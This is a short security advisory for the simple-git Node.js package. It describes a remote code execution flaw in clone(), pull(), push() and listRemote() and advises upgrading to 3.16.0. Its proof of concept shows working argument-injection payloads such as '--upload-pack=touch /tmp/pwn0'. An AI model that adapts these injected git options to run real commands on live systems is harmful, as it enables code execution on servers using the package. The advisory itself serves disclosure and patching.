How to fix?

Upgrade simple-git to version 3.16.0 or higher.

Overview

simple-git is a light weight interface for running git commands in any node.js application.

Affected versions of this package are vulnerable to Remote Code Execution (RCE) via the clone(), pull(), push() and listRemote() methods, due to improper input sanitization. This vulnerability exists due to an incomplete fix of CVE-2022-25912.

PoC

const simpleGit = require('simple-git');
let git = simpleGit();
git.clone('-u touch /tmp/pwn', 'file:///tmp/zero12');
git.pull('--upload-pack=touch /tmp/pwn0', 'master');
git.push('--receive-pack=touch /tmp/pwn1', 'master');
git.listRemote(['--upload-pack=touch /tmp/pwn2', 'main']);
